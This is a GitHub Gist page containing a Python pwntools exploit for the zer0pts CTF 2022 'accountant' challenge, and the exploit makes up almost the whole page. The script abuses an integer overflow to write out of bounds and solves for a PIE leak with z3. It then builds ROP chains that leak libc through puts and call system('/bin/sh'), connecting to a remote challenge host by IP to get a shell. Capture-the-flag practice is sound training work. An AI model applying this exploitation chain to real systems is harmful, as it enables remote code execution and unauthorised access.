-
-
Save c0nrad/ba2ed3b7c3344e7d8388b095a27863a6 to your computer and use it in GitHub Desktop.
zer0pts CTF 2022 pwn/accountant
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pwn | |
import time | |
import warnings | |
warnings.filterwarnings(action='ignore', category=BytesWarning) | |
elf = pwn.ELF("./chall_patched") | |
pwn.context.binary = elf | |
pwn.context.log_level = "DEBUG" | |
pwn.context(terminal=['tmux', 'split-window', '-h']) | |
def sla(x : bytes | str, y : bytes | str): p.sendlineafter(x, y) | |
def sa(x : bytes | str, y: bytes | str): p.sendafter(x, y) | |
def sl(x : bytes | str): p.sendline(x) | |
def ru(x : bytes | str, drop=True) -> bytes: return p.recvuntil(x, drop=drop) | |
def rl() -> bytes: return p.recvline() | |
def p64(x : int) -> bytes: return pwn.p64(x) | |
def u64(x : bytes) -> int: return pwn.u64(x) | |
def printf_range() -> str: return ".".join([f"%{i}$p" for i in range(5, 10)]) | |
def upack(v): return pwn.u16(pwn.p16(v, signed=True)) | |
libc = pwn.ELF("./libc.so.6") | |
p = elf.process() | |
p = pwn.remote("34.170.146.252", "19415") | |
# pwn.gdb.attach(p, "b *main+434") | |
sla("items: ", str(2**64 // 8)) | |
p.recvuntil("Total: $") | |
leak = int(p.recvline().strip()) | |
sla("[1=Yes]", "1") | |
def crack(leak): | |
import z3 | |
def upack(v): return pwn.u32(pwn.p32(v, signed=True)) | |
v = upack(leak) | |
s = z3.Solver() | |
h = z3.BitVec('h', 32) | |
l = z3.BitVec('l', 32) | |
s.add(h > 0x5500) | |
s.add(h < 0x6500) | |
s.add(l & 0xfff == 0xb6c) | |
s.add(h * l == v) | |
assert s.check() | |
address = s.model()[h].as_long() << 32 | s.model()[l].as_long() | |
print(f"{address=:x}") | |
return address | |
address = crack(leak) | |
elf.address = address - (0x5692d1a00b6c - 0x5692d1a00000) | |
print(f"{elf.address=:x}") | |
# ROP to leak libc | |
ret_offset = 11 | |
rop = pwn.ROP(elf) | |
rop.call(elf.symbols['puts'], [elf.got['puts']]) | |
rop.call(elf.symbols['main']) | |
def chomp(b): | |
return [b[i:i+8] for i in range(0, len(b), 8)] | |
for i, gadget in enumerate(chomp(rop.chain())): | |
print(f"{i=}, {gadget=}") | |
sla("quit): ", str(ret_offset + i)) | |
sla("Price: $", str(pwn.u64(gadget) & 0xffffffff)) | |
sla("Quantity: ", str(pwn.u64(gadget) >> 32)) | |
sla("quit): ", str(-1)) | |
p.recvuntil("work!\n") | |
libc_leak = u64(p.recv(6).ljust(8, b"\x00")) | |
print(f"{libc_leak=:x}") | |
libc.address = libc_leak - libc.symbols['puts'] | |
print(f"{libc.address=:x}") | |
#Round 2, rop to system | |
sla("items: ", str(2**64 // 8)) | |
sla("[1=Yes]", "1") | |
ret_offset = 11 | |
rop = pwn.ROP(libc) | |
rop.raw(rop.find_gadget(['ret'])) | |
rop.system(next(libc.search(b"/bin/sh\x00"))) | |
# rop.puts() | |
for i, gadget in enumerate(chomp(rop.chain())): | |
print(f"{i=}, {gadget=}") | |
sla("quit): ", str(ret_offset + i)) | |
sla("Price: $", str(pwn.u64(gadget) & 0xffffffff)) | |
sla("Quantity: ", str(pwn.u64(gadget) >> 32)) | |
sla("quit): ", str(-1)) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment